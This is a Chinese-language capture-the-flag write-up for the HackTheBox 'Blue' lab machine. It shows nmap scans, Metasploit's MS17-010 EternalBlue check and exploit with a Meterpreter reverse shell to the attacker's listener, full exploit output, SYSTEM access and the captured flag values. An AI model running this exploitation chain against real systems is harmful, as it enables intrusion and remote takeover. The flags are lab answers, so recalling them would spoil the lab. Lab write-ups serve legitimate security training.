Hackthebox - Blue
靶场信息
靶场类型
信息搜集
Nmap
┌──(root💀kali)-[~/Desktop/HTB/Easy/Blue]
└─# nmap -sS -A -sC -sV -p- --min-rate 5000 10.10.10.40
Starting Nmap 7.91 ( https://nmap.org ) at 2022-03-30 00:22 EDT
Nmap scan report for 10.10.10.40
Host is up (0.57s latency).
Not shown: 60896 filtered ports, 4636 closed ports
PORT STATE SERVICE VERSION
135/tcp open tcpwrapped
139/tcp open tcpwrapped
445/tcp open tcpwrapped Windows 7 Professional 7601 Service Pack 1 tcpwrapped
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=3/30%OT=445%CT=21%CU=36006%PV=Y%DS=2%DC=T%G=Y%TM=6243D
OS:C0A%P=x86_64-pc-linux-gnu)SEQ(CI=I)SEQ(SP=106%GCD=1%ISR=108%TI=I%CI=I%II
OS:=I%SS=S%TS=7)OPS(O1=M54BNW8ST11%O2=M54BNW8ST11%O3=M54BNW8NNT11%O4=M54BNW
OS:8ST11%O5=M54BNW8ST11%O6=M54BST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=
OS:2000%W6=2000)ECN(R=N)ECN(R=Y%DF=Y%T=80%W=2000%O=M54BNW8NNS%CC=N%Q=)T1(R=
OS:N)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T2(R=Y%DF=Y%T=80%W=0%S=Z
OS:%A=S%F=AR%O=%RD=0%Q=)T3(R=N)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=
OS:)T4(R=N)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=N)T5(R=Y%DF=Y%T
OS:=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=N)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R
OS:%O=%RD=0%Q=)T7(R=N)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=N)
OS:U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=N)I
OS:E(R=Y%DFI=N%T=80%CD=Z)
Network Distance: 2 hops
Host script results:
|_clock-skew: mean: -19m57s, deviation: 34m37s, median: 1s
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: haris-PC
| NetBIOS computer name: HARIS-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2022-03-30T05:26:31+01:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2022-03-30T04:26:34
|_ start_date: 2022-03-30T04:03:04
TRACEROUTE (using port 995/tcp)
HOP RTT ADDRESS
1 552.18 ms 10.10.16.1
2 255.14 ms 10.10.10.40
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 238.83 seconds
这台很明显了，而且相信大家看名字就已经很明确了，我就不多说了，直接利用吧
永恒之蓝
Nmap
┌──(root💀kali)-[~/Desktop]
└─# nmap --script=vuln 10.10.10.40
Starting Nmap 7.91 ( https://nmap.org ) at 2022-03-30 00:29 EDT
Nmap scan report for 10.10.10.40
Host is up (0.54s latency).
Not shown: 991 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
Nmap done: 1 IP address (1 host up) scanned in 173.70 seconds
确认存在
Metasploit
use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options
Module options (auxiliary/scanner/smb/smb_ms17_010):
Name Current Setting Required Description
---- --------------- -------- -----------
CHECK_ARCH true no Check for architecture on vulnerable hosts
CHECK_DOPU true no Check for DOUBLEPULSAR on vulnerable hosts
CHECK_PIPE false no Check for named pipe on vulnerable hosts
NAMED_PIPES /usr/share/metasploit-framework/data/wordlists/named_pipes.txt yes List of named pipes to check
RHOSTS 10.10.10.40 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads (max one per host)
msf6 auxiliary(scanner/smb/smb_ms17_010) > exploit
[+] 10.10.10.40:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
确认存在
漏洞利用
Metasploit
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.10.10.40 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The target port (TCP)
SMBDomain . no (Optional) The Windows domain to use for authentication
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target.
VERIFY_TARGET true yes Check if remote OS matches exploit Target.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.10.16.4 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64) All Service Packs
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 10.10.16.4:4444
[*] 10.10.10.40:445 - Executing automatic check (disable AutoCheck to override)
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.10.40:445 - The target is vulnerable.
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445 - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.40:445 - Starting non-paged pool grooming
[+] 10.10.10.40:445 - Sending SMBv2 buffers
[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] 10.10.10.40:445 - Receiving response from exploit packet
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] 10.10.10.40:445 - Triggering free of corrupted buffer.
[*] Sending stage (200262 bytes) to 10.10.10.40
[*] Meterpreter session 1 opened (10.10.16.4:4444 -> 10.10.10.40:49158) at 2022-03-30 00:34:57 -0400
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
利用成功
meterpreter > search -f user.txt
Found 1 result...
c:\Users\haris\Desktop\user.txt (34 bytes)
meterpreter > search -f root.txt
Found 1 result...
c:\Users\Administrator\Desktop\root.txt (34 bytes)
meterpreter > cat 'c:\Users\haris\Desktop\user.txt'
cf2da488a16cd6551e8813a3f3b2ad0a
meterpreter > cat 'c:\Users\Administrator\Desktop\root.txt'
36bf758af3a68b38f132c2e4b2bc4531
成功拿到 user 权限和 root 权限的 flag 文件
